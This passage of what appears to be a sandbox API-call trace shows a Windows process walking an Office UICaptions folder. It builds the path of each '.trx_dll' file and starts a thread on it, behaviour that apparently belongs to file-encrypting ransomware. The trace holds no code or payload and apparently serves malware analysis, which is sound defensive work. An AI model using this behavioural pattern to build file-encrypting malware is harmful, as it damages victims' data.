ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.trx_dll", cAlternateFileName="OUTLWV~1.TRX")) returned 1 [0158.682] wcscmp (_String1="OUTLWVW.DLL.trx_dll", _String2=".") returned 1 [0158.682] wcscmp (_String1="OUTLWVW.DLL.trx_dll", _String2="..") returned 1 [0158.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20508d10 [0158.682] wcscpy (in: _Dest=0x20508d10, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.682] wcscat (in: _Dest=0x20508d10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.682] wcscat (in: _Dest=0x20508d10, _Source="OUTLWVW.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll" [0158.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd70 [0158.683] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.trx_dll", cAlternateFileName="PPINTL~1.TRX")) returned 1 [0158.683] wcscmp (_String1="PPINTL.DLL.trx_dll", _String2=".") returned 1 [0158.683] wcscmp (_String1="PPINTL.DLL.trx_dll", _String2="..") returned 1 [0158.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507b90 [0158.683] wcscpy (in: _Dest=0x20507b90, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.683] wcscat (in: _Dest=0x20507b90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.683] wcscat (in: _Dest=0x20507b90, _Source="PPINTL.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll" [0158.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1264 [0158.684] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0x45f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.trx_dll", cAlternateFileName="PPINTL~2.TRX")) returned 1 [0158.684] wcscmp (_String1="PPINTL.REST.trx_dll", _String2=".") returned 1 [0158.684] wcscmp (_String1="PPINTL.REST.trx_dll", _String2="..") returned 1 [0158.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20507e10 [0158.684] wcscpy (in: _Dest=0x20507e10, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.684] wcscat (in: _Dest=0x20507e10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.684] wcscat (in: _Dest=0x20507e10, _Source="PPINTL.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll" [0158.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1268 [0158.685] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3b09500, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa3b09500, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x1a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.trx_dll", cAlternateFileName="PUB6IN~1.TRX")) returned 1 [0158.685] wcscmp (_String1="PUB6INTL.DLL.trx_dll", _String2=".") returned 1 [0158.685] wcscmp (_String1="PUB6INTL.DLL.trx_dll", _String2="..") returned 1 [0158.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20507870 [0158.686] wcscpy (in: _Dest=0x20507870, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.686] wcscat (in: _Dest=0x20507870, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.686] wcscat (in: _Dest=0x20507870, _Source="PUB6INTL.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll" [0158.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1494 [0158.686] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x8e160, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.trx_dll", cAlternateFileName="PUB6IN~2.TRX")) returned 1 [0158.686] wcscmp (_String1="PUB6INTL.REST.trx_dll", _String2=".") returned 1 [0158.686] wcscmp (_String1="PUB6INTL.REST.trx_dll", _String2="..") returned 1 [0158.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x205077d0 [0158.687] wcscpy (in: _Dest=0x205077d0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.687] wcscat (in: _Dest=0x205077d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.687] wcscat (in: _Dest=0x205077d0, _Source="PUB6INTL.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll" [0158.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205077d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c4 [0158.687] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x749d2200, ftCreationTime.dwHighDateTime=0x1cac80f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x749d2200, ftLastWriteTime.dwHighDateTime=0x1cac80f, nFileSizeHigh=0x0, nFileSizeLow=0x5ab60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.REST.trx_dll", cAlternateFileName="PUBWZI~1.TRX")) returned 1 [0158.687] wcscmp (_String1="PUBWZINT.REST.trx_dll", _String2=".") returned 1 [0158.687] wcscmp (_String1="PUBWZINT.REST.trx_dll", _String2="..") returned 1 [0158.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x20507910 [0158.688] wcscpy (in: _Dest=0x20507910, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.688] wcscat (in: _Dest=0x20507910, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.688] wcscat (in: _Dest=0x20507910, _Source="PUBWZINT.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll" [0158.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x126c [0158.689] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d7a1200, ftCreationTime.dwHighDateTime=0x1cac817, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6d7a1200, ftLastWriteTime.dwHighDateTime=0x1cac817, nFileSizeHigh=0x0, nFileSizeLow=0x3360, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL.trx_dll", cAlternateFileName="SGRESD~1.TRX")) returned 1 [0158.689] wcscmp (_String1="SGRES.DLL.trx_dll", _String2=".") returned 1 [0158.689] wcscmp (_String1="SGRES.DLL.trx_dll", _String2="..") returned 1 [0158.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027a330 [0158.689] wcscpy (in: _Dest=0x2027a330, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.689] wcscat (in: _Dest=0x2027a330, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.689] wcscat (in: _Dest=0x2027a330, _Source="SGRES.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll" [0158.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd08 [0158.690] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e7d800, ftCreationTime.dwHighDateTime=0x1cac7f6, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8e7d800, ftLastWriteTime.dwHighDateTime=0x1cac7f6, nFileSizeHigh=0x0, nFileSizeLow=0x4160, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.trx_dll", cAlternateFileName="STINTL~1.TRX")) returned 1 [0158.690] wcscmp (_String1="STINTL.DLL.trx_dll", _String2=".") returned 1 [0158.690] wcscmp (_String1="STINTL.DLL.trx_dll", _String2="..") returned 1 [0158.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027b050 [0158.690] wcscpy (in: _Dest=0x2027b050, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.690] wcscat (in: _Dest=0x2027b050, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.690] wcscat (in: _Dest=0x2027b050, _Source="STINTL.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll" [0158.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0158.691] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf706700, ftCreationTime.dwHighDateTime=0x1cac81a, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbf706700, ftLastWriteTime.dwHighDateTime=0x1cac81a, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL.trx_dll", cAlternateFileName="VISBRR~1.TRX")) returned 1 [0158.691] wcscmp (_String1="VISBRRES.DLL.trx_dll", _String2=".") returned 1 [0158.691] wcscmp (_String1="VISBRRES.DLL.trx_dll", _String2="..") returned 1 [0158.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x2027b0f0 [0158.691] wcscpy (in: _Dest=0x2027b0f0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.691] wcscat (in: _Dest=0x2027b0f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.691] wcscat (in: _Dest=0x2027b0f0, _Source="VISBRRES.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll" [0158.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa08 [0158.692] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a315700, ftCreationTime.dwHighDateTime=0x1cac814, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a315700, ftLastWriteTime.dwHighDateTime=0x1cac814, nFileSizeHigh=0x0, nFileSizeLow=0x77560, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL.trx_dll", cAlternateFileName="VISINT~1.TRX")) returned 1 [0158.692] wcscmp (_String1="VISINTL.DLL.trx_dll", _String2=".") returned 1 [0158.692] wcscmp (_String1="VISINTL.DLL.trx_dll", _String2="..") returned 1 [0158.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x2027b190 [0158.693] wcscpy (in: _Dest=0x2027b190, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.693] wcscat (in: _Dest=0x2027b190, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.693] wcscat (in: _Dest=0x2027b190, _Source="VISINTL.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll" [0158.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1270 [0158.693] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x25b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL.trx_dll", cAlternateFileName="WWINTL~1.TRX")) returned 1 [0158.693] wcscmp (_String1="WWINTL.DLL.trx_dll", _String2=".") returned 1 [0158.693] wcscmp (_String1="WWINTL.DLL.trx_dll", _String2="..") returned 1 [0158.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027b230 [0158.694] wcscpy (in: _Dest=0x2027b230, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.694] wcscat (in: _Dest=0x2027b230, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.694] wcscat (in: _Dest=0x2027b230, _Source="WWINTL.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll" [0158.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14cc [0158.695] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x115b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.REST.trx_dll", cAlternateFileName="WWINTL~2.TRX")) returned 1 [0158.695] wcscmp (_String1="WWINTL.REST.trx_dll", _String2=".") returned 1 [0158.695] wcscmp (_String1="WWINTL.REST.trx_dll", _String2="..") returned 1 [0158.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x2027b2d0 [0158.695] wcscpy (in: _Dest=0x2027b2d0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.695] wcscat (in: _Dest=0x2027b2d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.695] wcscat (in: _Dest=0x2027b2d0, _Source="WWINTL.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll" [0158.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b2d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1274 [0158.696] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b688100, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b688100, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x25360, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL.trx_dll", cAlternateFileName="XLINTL~1.TRX")) returned 1 [0158.696] wcscmp (_String1="XLINTL32.DLL.trx_dll", _String2=".") returned 1 [0158.696] wcscmp (_String1="XLINTL32.DLL.trx_dll", _String2="..") returned 1 [0158.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x2027b370 [0158.697] wcscpy (in: _Dest=0x2027b370, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.697] wcscat (in: _Dest=0x2027b370, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.697] wcscat (in: _Dest=0x2027b370, _Source="XLINTL32.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll" [0158.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ec [0158.697] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a375400, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a375400, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x137960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.REST.trx_dll", cAlternateFileName="XLINTL~2.TRX")) returned 1 [0158.698] wcscmp (_String1="XLINTL32.REST.trx_dll", _String2=".") returned 1 [0158.698] wcscmp (_String1="XLINTL32.REST.trx_dll", _String2="..") returned 1 [0158.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x2027a650 [0158.698] wcscpy (in: _Dest=0x2027a650, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.698] wcscat (in: _Dest=0x2027a650, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0158.698] wcscat (in: _Dest=0x2027a650, _Source="XLINTL32.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll" [0158.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4 [0158.699] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 1 [0158.699] wcscmp (_String1="XLSLICER.DLL.trx_dll", _String2=".") returned 1 [0158.699] wcscmp (_String1="XLSLICER.DLL.trx_dll", _String2="..") returned 1 [0158.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205c290 [0158.699] wcscpy (in: _Dest=0x4205c290, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0158.699] wcscat (in: _Dest=0x4205c290, _Source="\\" | out: 